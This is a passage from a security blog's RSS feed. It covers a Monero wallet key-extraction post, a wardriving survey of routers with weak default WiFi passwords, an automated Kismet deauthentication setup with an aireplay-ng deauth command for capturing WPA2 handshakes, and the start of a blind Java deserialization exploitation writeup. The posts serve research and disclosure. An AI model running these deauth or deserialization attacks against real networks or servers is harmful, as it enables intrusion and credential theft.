  &lt;li&gt;Protocol documentation: &lt;a href=&quot;https://github.com/LedgerHQ/ledger-app-monero/blob/master/doc/developer/blue-app-commands.pdf&quot;&gt;https://github.com/LedgerHQ/ledger-app-monero/blob/master/doc/developer/blue-app-commands.pdf&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Affected Monero app version with fixes enabling the build on Ledger Nano S with 1.6.0 firmware &lt;a href=&quot;https://github.com/ph4r05/blue-app-monero/&quot;&gt;https://github.com/ph4r05/blue-app-monero/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We’ve designed and implemented another Monero transaction signing scheme for Trezor hardware wallet. More on the topic:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Our eprint paper &lt;a href=&quot;https://eprint.iacr.org/2020/281&quot;&gt;https://eprint.iacr.org/2020/281&lt;/a&gt; in an extended version describing transaction signing protocol plus multi-party evaluation of Bulletproofs&lt;/li&gt;
  &lt;li&gt;Transaction signing implemented in the &lt;a href=&quot;https://github.com/trezor/trezor-firmware/tree/master/core/src/apps/monero&quot;&gt;Trezor firmware&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Python implementation and various tools: &lt;a href=&quot;https://github.com/ph4r05/monero-agent&quot;&gt;https://github.com/ph4r05/monero-agent&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
        <pubDate>Sat, 25 Apr 2020 09:00:00 +0200</pubDate>
        <link>http://localhost:4000/blog/2020/04/25/Ledger-Monero-app-spend-key-extraction.html</link>
        <guid isPermaLink="true">http://localhost:4000/blog/2020/04/25/Ledger-Monero-app-spend-key-extraction.html</guid>
        
        <category>ledger</category>
        
        <category>monero</category>
        
        <category>app</category>
        
        <category>spend</category>
        
        <category>key</category>
        
        <category>extraction</category>
        
        <category>bug</category>
        
        <category>protocol</category>
        
        <category>poc</category>
        
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Wardriving Bratislava 10/2016</title>
        <description>&lt;p&gt;TL;DR: Wardriving in Bratislava, Slovak Republic capital city, 8 months after contacting UPC about
 the flaw in their insecure default password generation.&lt;/p&gt;

&lt;!-- more --&gt;

&lt;h2 id=&quot;intro&quot;&gt;Intro&lt;/h2&gt;

&lt;p&gt;In the previous article, &lt;a href=&quot;https://deadcode.me/blog/2016/07/01/UPC-UBEE-EVW3226-WPA2-Reversing.html&quot;&gt;UPC UBEE EVW3226 WPA2 Password Reverse Engineering&lt;/a&gt;, we analyzed UPC UBEE router and found serious
flaws in generating a default password for the WiFi.
People using the default password were in potential danger, attackers could tamper with the router or their LAN.&lt;/p&gt;

&lt;p&gt;A part of the article was also Wardriving in Brno, Czech Republic. We discovered there were vulnerable routers
out there. After 8 months we found it interesting to repeat the wardriving experiment in a different city to see
whether the pattern changed.&lt;/p&gt;

&lt;h2 id=&quot;setup&quot;&gt;Setup&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Motorola Moto G Android phone with WiGLE &lt;a href=&quot;https://play.google.com/store/apps/details?id=net.wigle.wigleandroid&quot;&gt;WiGLE Wifi&lt;/a&gt; application&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cnet.com/products/ovislink-airlive-wl-1600usb-network-adapter/&quot;&gt;Ovislink Airlive WL-1600USB&lt;/a&gt; + 5dBi antenna
running with the &lt;a href=&quot;https://en.wikipedia.org/wiki/Kismet_(software)&quot;&gt;Kismet&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;methodology&quot;&gt;Methodology&lt;/h2&gt;

&lt;p&gt;We carried out only the passive Wardriving with 2 measurement devices on board of the car. The cruise speed was kept low,
 around 10 kmph in dense residential urban areas of Bratislava (mainly Petrzalka) in the middle of the night. At some more interesting
 places we stayed for a longer time.&lt;/p&gt;

&lt;p&gt;Then for a random sample verification we passively captured WPA2 handshake for 20 WPA2
protected networks and performed the password check - for UBEE it matched in 100% cases.&lt;/p&gt;

&lt;p&gt;The fun thing about 2 guys in the car going 10 kmph in the middle of the night in the dark streets is that you either look
as a drug dealer or looking for one. At one dark street two weird hooded guys started approaching us,
maybe thinking one of the two above so we decided to move to another place. We did not encounter any police car whatsoever
during the experiment.&lt;/p&gt;

&lt;h2 id=&quot;results&quot;&gt;Results&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;/static/wdriving/ba-live-map.html&quot;&gt;&lt;img src=&quot;/static/wdriving/map_ba.png&quot; alt=&quot;Wardriving map&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Wardriving experiment took place 01/10/2016.&lt;/li&gt;
  &lt;li&gt;Dark dots represent non-categorized WiFi&lt;/li&gt;
  &lt;li&gt;Blue markers correspond to &lt;code class=&quot;highlighter-rouge&quot;&gt;^UPC&lt;/code&gt; SSID pattern (excluding UPC WiFree)&lt;/li&gt;
  &lt;li&gt;Green markers are UBEE routers with &lt;code class=&quot;highlighter-rouge&quot;&gt;^UPC[0-9]{7}&lt;/code&gt; SSID&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The original KML map data are available for download, for older
&lt;a href=&quot;/static/wdriving/wdriving1.kml&quot;&gt;Brno experiment&lt;/a&gt; and this new
&lt;a href=&quot;/static/wdriving/wdriving2.kml&quot;&gt;Bratislava experiment&lt;/a&gt;. To get the idea on
how wifileaks dataset is geo distributed we sampled 20k UPC networks from 2015-2016
from the wifileaks dataset to the &lt;a href=&quot;/static/wdriving/wdriving_wifileaks_20k.kml.gz&quot;&gt;wifileaks KML&lt;/a&gt;
(sampling was necessary as the original dataset is too large to plot on GoogleMaps, all non-UPC networks
were excluded from the dataset).&lt;/p&gt;

&lt;p&gt;By plugging KML files to the &lt;a href=&quot;http://www.gpsvisualizer.com/&quot;&gt;GPS Visualizer&lt;/a&gt; you can browse
the map interactively. Here is &lt;a href=&quot;/static/wdriving/ba-live-map.html&quot;&gt;the online interactive wardriving map for Bratislava&lt;/a&gt;
(2 or 3 WiFis are obviously mis-localized as we have never been to Cunovo). For completeness
we provide also the &lt;a href=&quot;/static/ubee/brno-live-map.html&quot;&gt;online interactive wardriving map for Brno&lt;/a&gt;
and sample of the &lt;a href=&quot;/static/wdriving/wifileaks-live-map-20ksample.html&quot;&gt;wifileaks interactive map&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Below are the results from the Wardriving experiment, combining both data sets - Wiggle and Kismet.&lt;/p&gt;

&lt;table class=&quot;mbtablestyle3&quot;&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Statistic - Bratislava 1.10.2016&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Count&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Ratio&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Total networks&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;22 172&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UPC networks&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;3 092&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;13.95 %&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UPC vulnerable&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;1 327&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;42.92 % UPC&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UPC UBEE vulnerable&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;822&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;26.58 % UPC&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UPC Technicolor vulnerable&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;505&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;16.33 % UPC&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UBEE changed&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;205&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;19.96 % UBEE&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Technicolor changed&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;96&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;19.00 % Tech.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Compal CH7465LG&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;930&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;30.08 % UPC&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&lt;br /&gt;
For the comparison we state the similar table from the previous wardriving in Brno:&lt;/p&gt;

&lt;table class=&quot;mbtablestyle3&quot;&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Statistic - Brno 10.2.2016&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Count&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Ratio&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Total networks&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;17 516&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UPC networks&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;2 868&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;16.37 %&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UPC vulnerable&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;1 835&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;63.98 % UPC&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UPC UBEE vulnerable&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;443&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;15.45 % UPC&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UPC Technicolor vulnerable&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;1 392&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;48.54 % UPC&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UBEE changed&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;98&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;18.11 % UBEE&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Technicolor changed&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;304&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;17.92 % Tech.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Compal CH7465LG&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;0&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;00.00 % UPC&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;&lt;br /&gt;
The more detailed analysis of the datasets are available:
&lt;a href=&quot;/static/wdriving/analysis_brno.txt&quot;&gt;Brno dataset results&lt;/a&gt; and new
&lt;a href=&quot;/static/wdriving/analysis_bratislava.txt&quot;&gt;Bratislava dataset results&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;discussion&quot;&gt;Discussion&lt;/h2&gt;

&lt;p&gt;The Technicolor vulnerable data count is based on the known MAC addresses of the
router that we detected to respond to the &lt;a href=&quot;https://haxx.in/upc-wifi/&quot;&gt;Blasty attack&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Interestingly the amount of UBEE routers with changed password is about the same 18%. This may represent
sample of users changing the default settings more globally. This pattern moreover holds also in the
&lt;a href=&quot;https://deadcode.me/blog/2016/07/01/UPC-UBEE-EVW3226-WPA2-Reversing.html#wifileaks&quot;&gt;Wifileaks&lt;/a&gt; analysis from the previous article. The ratio of people leaving the router in default settings
is disturbingly high.&lt;/p&gt;

&lt;p&gt;Technicolor routers ratio dramatically dropped in Bratislava compared to Brno (48.54 % to 16.33 %).
UBEE routers also had a slight drop (19.96 % to 15.45 %) but we have to conclude that 8 months after
reporting vulnerabilities to UPC the situation does not look much different…&lt;/p&gt;

&lt;p&gt;UPC drafted a solution with captive portal making users change their default passwords. Apparently this
feature was not present in the UBEE firmware update which was rolled out in 20.9.2016. My own router
has a new firmware with version &lt;code class=&quot;highlighter-rouge&quot;&gt;EVW3226_2.07b&lt;/code&gt;, in the time of writing the first article it was &lt;code class=&quot;highlighter-rouge&quot;&gt;EVW3226_1.0.20&lt;/code&gt;.
It would be interesting to test how many vulnerabilities were fixed…&lt;/p&gt;

&lt;p&gt;Another new interesting observation is a new router type detected in the data. It is
&lt;a href=&quot;https://www.upc.cz/pdf/manualy_inet/15258_UPC_Mercury_modem_uzivatelsky_manual_v5.pdf&quot;&gt;Compal CH7465LG&lt;/a&gt;
also called a Mercury modem by UPC. The typical SSID matches the regex pattern &lt;code class=&quot;highlighter-rouge&quot;&gt;^UPC[0-9A-F]{7}&lt;/code&gt;, it
contains also hex digits. The example password (from the linked user manual is): &lt;code class=&quot;highlighter-rouge&quot;&gt;x*Hz6mh4ppdcx&lt;/code&gt;
which looks quite complicated. But if the same pattern is followed the brute-force search space can be
reduced.&lt;/p&gt;

&lt;p&gt;The router was extensively analysed by other researchers, here is the 100 pages long &lt;a href=&quot;http://www.search-lab.hu/media/Compal_CH7465LG_Evaluation_Report_1.1.pdf&quot;&gt;Compal CH7465LG evaluation report&lt;/a&gt;.
They found 35 vulnerabilities in this router (11 found in UBEE). So it looks much worse in many aspects compared to UBEE.
 &lt;em&gt;Allegedly&lt;/em&gt; the password generation routine is implemented in a secure way. We would like to verify this so if somebody has
firmware dumps or the hardware itself we are interested in buying the piece for analysis. Let us know at &lt;code class=&quot;highlighter-rouge&quot;&gt;yolosec.team@gmail.com&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The router looks like this:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/static/wdriving/compal.png&quot;&gt;&lt;img src=&quot;/static/wdriving/compal.png&quot; alt=&quot;Compal CH7465LG&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To conclude the dataset results it seems that UPC decided not to deal with UBEE and Technicolor vulnerabilities in
any direct manner. It is maybe much easier and economical to let those routers go out of the market
by making users upgrade to new Compal routers.&lt;/p&gt;

&lt;p&gt;On a side note: after I searched this router a bit when analysing wardriving results I started seeing adds like this:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/static/wdriving/compal_ad.png&quot;&gt;&lt;img src=&quot;/static/wdriving/compal_ad.png&quot; alt=&quot;Compal CH7465LG ad&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Yep, that’s the router I am talking about. UPC is asking me to upgrade to mega-strong UPC WiFi router (security swiss cheese).&lt;/p&gt;

&lt;h2 id=&quot;bonus-photos&quot;&gt;Bonus: photos&lt;/h2&gt;
&lt;p&gt;Due to popular demand, here are some photos from the wardriving action. We rode streets of Bratislava in the evening and early morning hours and went to bunch of interesting places and “landmarks” such as Grassalkovich Palace (seat of Slovak president), UPC headquarters and Bonaparte complex (infamous residence of Slovak prime minister). It seems that neither our president or prime minister is using UPC UBEE router, luckily for them.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/static/wdriving/president.jpg&quot;&gt;&lt;img src=&quot;/static/wdriving/president.jpg&quot; alt=&quot;Grassalkovich Palace&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/static/wdriving/upc_headquaters.jpg&quot;&gt;&lt;img src=&quot;/static/wdriving/upc_headquaters.jpg&quot; alt=&quot;UPC headquarters&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/static/wdriving/bonaparte.jpg&quot;&gt;&lt;img src=&quot;/static/wdriving/bonaparte.jpg&quot; alt=&quot;Bonaparte&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

</description>
        <pubDate>Sat, 05 Nov 2016 07:00:00 +0100</pubDate>
        <link>http://localhost:4000/blog/2016/11/05/Wardriving-Bratislava-10-2016.html</link>
        <guid isPermaLink="true">http://localhost:4000/blog/2016/11/05/Wardriving-Bratislava-10-2016.html</guid>
        
        <category>wardriving</category>
        
        <category>bratislava</category>
        
        <category>UPC</category>
        
        <category>router</category>
        
        <category>wifi</category>
        
        <category>kismet</category>
        
        <category>wiggle</category>
        
        <category>ubee</category>
        
        <category>compal</category>
        
        <category>mercury</category>
        
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Active WiFi deauth with Kismet for Wardriving</title>
        <description>&lt;p&gt;TL;DR: Actively sniffing WPA2 handshakes during the wardriving with sending deauth packets.&lt;/p&gt;

&lt;!-- more --&gt;

&lt;h2 id=&quot;kismet-active-deauth&quot;&gt;Kismet active deauth&lt;/h2&gt;
&lt;p&gt;During our wardriving experiments we were flirting with an idea of active wardriving to validate our results
on vulnerability of the routers. We had to abandon this idea due to legality issues. But it initiated our
curiosity on how complicated it is to build such setup.&lt;/p&gt;

&lt;p&gt;In order to test the WPA2 password, the first thing you need is to capture
&lt;a href=&quot;https://www.aircrack-ng.org/doku.php?id=cracking_wpa&quot;&gt;WPA2 handshake&lt;/a&gt;, this you can
do by sniffing WiFi transmission (in monitor mode) by &lt;code class=&quot;highlighter-rouge&quot;&gt;airodump-ng&lt;/code&gt; utility.&lt;/p&gt;

&lt;p&gt;Once you have that you can try the dictionary/bruteforce attack offline on the handshake. Handshake occurs only
when a client connects to the network. This event is quite rare as many devices keep persistent WiFi connection.
You would have to wait until somebody walks in/out from the range of the WiFi access point with the smartphone in the pocket or
something like that.&lt;/p&gt;

&lt;p&gt;To get the handshake you can actively deauthenticate the client from the network by sending a special deauth
 packet to the client. For this you obviously need an existing client in the network and antenna &amp;amp; transmitter strong
 enough so your packet hits the client.&lt;/p&gt;

&lt;p&gt;This causes client to drop the connection to AP and reconnect again. Here you can capture the new handshake and then attack offline,
out of the AP WiFi reach.&lt;/p&gt;

&lt;p&gt;The following command sends 3 deauth packets to the client &lt;code class=&quot;highlighter-rouge&quot;&gt;22:33:44:55:66:77&lt;/code&gt; connected to AP with BSSID &lt;code class=&quot;highlighter-rouge&quot;&gt;00:11:22:33:44:55&lt;/code&gt;
via interface wifi0. Wifi0 has to be in the monitor mode and driver need to support packet injection.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/usr/sbin/aireplay-ng -0 3 -D -a 00:11:22:33:44:55 -c 22:33:44:55:66:77 wifi0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;automation&quot;&gt;Automation&lt;/h2&gt;

&lt;p&gt;We were thinking about automating this deauth &amp;amp; handshake collection during the wardriving. For this the
&lt;a href=&quot;https://en.wikipedia.org/wiki/Kismet_(software)&quot;&gt;Kismet&lt;/a&gt; is an ideal candidate. It is quite good tool for wardriving and
moreover it provides a nice API for plugins via sockets.&lt;/p&gt;

&lt;p&gt;So we created a &lt;em&gt;&lt;a href=&quot;https://github.com/ph4r05/kismet-deauth-wpa2-handshake-plugin&quot;&gt;kismet-deauth-plugin&lt;/a&gt;&lt;/em&gt; in python. For more detailed information on using the plugin please see the GitHub repo readme.&lt;/p&gt;

&lt;p&gt;For this you need 2 WiFi interfaces to work smoothly:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Is running Kismet, jumping over channels and collecting stats about
networks and connected clients. Should have a very high gain. Listening only.&lt;/li&gt;
  &lt;li&gt;Is for collecting handshakes and actively deauthenticating clients.
Ideally you need a strong transmitter on this one to successfully hit the client
with deauth packet, something like &lt;a href=&quot;https://www.amazon.com/Alfa-802-11b-Wireless-Original-9dBi/dp/B001O9X9EU&quot;&gt;Alpha&lt;/a&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;It works in the following way:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;You start the Kismet with the kismet server as you do usually.&lt;/li&gt;
  &lt;li&gt;Kismet server listens on a socket &lt;code class=&quot;highlighter-rouge&quot;&gt;127.0.0.1:2501&lt;/code&gt; - here we can register event handlers and listen for it.&lt;/li&gt;
  &lt;li&gt;In a new terminal you run our python plugin which performs the following if a new client is detected
    &lt;ul&gt;
      &lt;li&gt;Starts airodump-ng on given channel&lt;/li&gt;
      &lt;li&gt;Sends 3 deauth packets to the client&lt;/li&gt;
      &lt;li&gt;Stops airodump-ng after 10 seconds.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Plugin goes according to the priority queue which is built on the client list. The newer client has higher priority.&lt;/p&gt;

&lt;h2 id=&quot;testing&quot;&gt;Testing&lt;/h2&gt;

&lt;p&gt;We were testing this in our home network, the plugin worked quite well. We were able to automatically capture
WPA2 handshakes with this. Unfortunately after some time the driver for deauth card broke. Drivers were not stable
enough to support this approach for longer than 30 minutes.&lt;/p&gt;

&lt;h2 id=&quot;use-case&quot;&gt;Use-case&lt;/h2&gt;

&lt;p&gt;As some commenter on Reddit pointed out, this approach is not new. That’s correct, deauth is pretty old stuff. Our contrinution
is a demonstration of an automatic deauth + handshake collection without manual intervention, with Kismet and simple plugin.
You drive the car, the plugin tries to deauth interesting clients and collect handshakes. Without even touching a keyboard.
I was not able to find such stuff (we also needed some filtering, priority, …) so I implemented it.&lt;/p&gt;

&lt;p&gt;After the experiment you can run some dictionary attack for all collected data and typically crack some default passwords,
routers with default ones (e.g., admin, tplink, airlive), routers with flaws in default password generation - UPC. This
may come handy also for hacking IoT in a large scale. This approach is good for mass attacks in a large area, not for
targeted attack against one particular victim.&lt;/p&gt;

&lt;h2 id=&quot;disclaimer&quot;&gt;Disclaimer&lt;/h2&gt;

&lt;p&gt;Actively deauthenticating client is illegal, you should do this only in your own network. We declare we didn’t
use the plugin in the wild outside the controlled environment.&lt;/p&gt;

</description>
        <pubDate>Sat, 05 Nov 2016 06:00:00 +0100</pubDate>
        <link>http://localhost:4000/blog/2016/11/05/Active-Deauth-Kismet-Wardriving.html</link>
        <guid isPermaLink="true">http://localhost:4000/blog/2016/11/05/Active-Deauth-Kismet-Wardriving.html</guid>
        
        <category>wardriving</category>
        
        <category>kismet</category>
        
        <category>airodump</category>
        
        <category>aircrack</category>
        
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Blind Java Deserialization - Part II - exploitation rev 2</title>
        <description>&lt;p&gt;TL;DR: The practical exploitation of the blind java deserialization technique introduced in the previous blog post.
Practical demonstration of the victim fingerprinting and information extraction from the system (properties, files).&lt;/p&gt;

&lt;!-- more --&gt;

&lt;p&gt;&lt;strong&gt;Parts:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;a href=&quot;#introduction&quot;&gt;Introduction&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#testingserver&quot;&gt;Testing&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#building&quot;&gt;Building the payloads dynamically&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#json&quot;&gt;JSON spec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#strings&quot;&gt;String extraction&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#exploitation&quot;&gt;Exploitation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#demo&quot;&gt;Demo&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;In the &lt;a href=&quot;https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html&quot;&gt;Part 1&lt;/a&gt; of our article we introduced a concept of blind Java Deserialization using Apache CommonsCollections
exploit classes.&lt;/p&gt;

&lt;p&gt;Apache CommonsCollections is a popular Java library that can get into the project also via transitive dependencies.
Vulnerable application can run on arbitrary Servlet container (Tomcat, JBoss, WebSphere). Application is vulnerable if it contains
CommonsCollections &amp;lt;= v3.2.1 or &amp;lt;= v4 on the Classpath and deserializes data provided by user (e.g., web page input, RMI, JMX).
The serialized Java object starts with &lt;code class=&quot;highlighter-rouge&quot;&gt;rO0&lt;/code&gt; in base64 and &lt;code class=&quot;highlighter-rouge&quot;&gt;ac ed 00 05&lt;/code&gt; in hex.&lt;/p&gt;

&lt;p&gt;Summary of the Part 1: with crafting a payload we can make a vulnerable application sleep on certain conditions, e.g.,
if the running Java is version 8, a binary search of the character. Such sleep leaks one bit of information. We automate
this approach to extract the whole strings and files from the vulnerable systems.&lt;/p&gt;

&lt;p&gt;This approach is useful if normal RCE from &lt;a href=&quot;https://github.com/frohoff/ysoserial&quot;&gt;ysoserial&lt;/a&gt; toolchain does not work from some reason (firewall, policy, SecurityManager, selinux, IDS).
We can extract precious pieces of information using this technique, which help us with further attacks, e.g.,
database connection strings, passwords, private keys, machine configuration.&lt;/p&gt;

&lt;h2 id=&quot;testingserver&quot;&gt;Testing&lt;/h2&gt;

&lt;p&gt;In order to test deserialization vulnerability payloads in real environment, we made a simple REST server than accepts an input
parameter in BASE64, deserializes it and prints the result (if applicable). Our payloads are tested against this test server.&lt;/p&gt;

&lt;p&gt;Apache Commons-collection 3.1 is included as dependency so the CommonsCollections exploit class works.
The server uses the Spring Boot framework and can be started from command line (has embedded Tomcat server).
It is easy to test if the generated payload works as expected (sleep / exception).&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/yolosec/deserialize-server&quot;&gt;Deserialize test server&lt;/a&gt; can be found on the GitHub. You can test against it with our attack tool.&lt;/p&gt;

&lt;h2 id=&quot;building&quot;&gt;Building the payloads dynamically&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/frohoff/ysoserial&quot;&gt;ysoserial&lt;/a&gt; is a good place to start with Java Deserialization. It has a simple CLI one can use to build a simple payload.
In the &lt;a href=&quot;https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html&quot;&gt;Part 1&lt;/a&gt; we extended the possibilities of the payload generation.&lt;/p&gt;

&lt;p&gt;Our goal is mainly to automate binary search and string extraction from the vulnerable system.
For each guess we need to construct a new payload on the fly. There is plenty of options
to construct such payload dynamically so we decided to build the payload from the JSON specification.&lt;/p&gt;

&lt;h2 id=&quot;json&quot;&gt;JSON spec&lt;/h2&gt;

&lt;p&gt;JSON specification is a scheme for the payload. It determines how the resulting payload is constructed
by the &lt;a href=&quot;https://github.com/yolosec/ysoserial/blob/master/src/main/java/ysoserial/blind/Generator.java&quot;&gt;Generator.java&lt;/a&gt; which takes the JSON spec as an input and produces binary payload with the functionality defined
in the spec.&lt;/p&gt;

&lt;p&gt;Here are a few examples of payload construction:&lt;/p&gt;

&lt;p&gt;Very simple payload - sleeps for 5 seconds.&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;exec&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;cmd&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;sleep&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;val&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
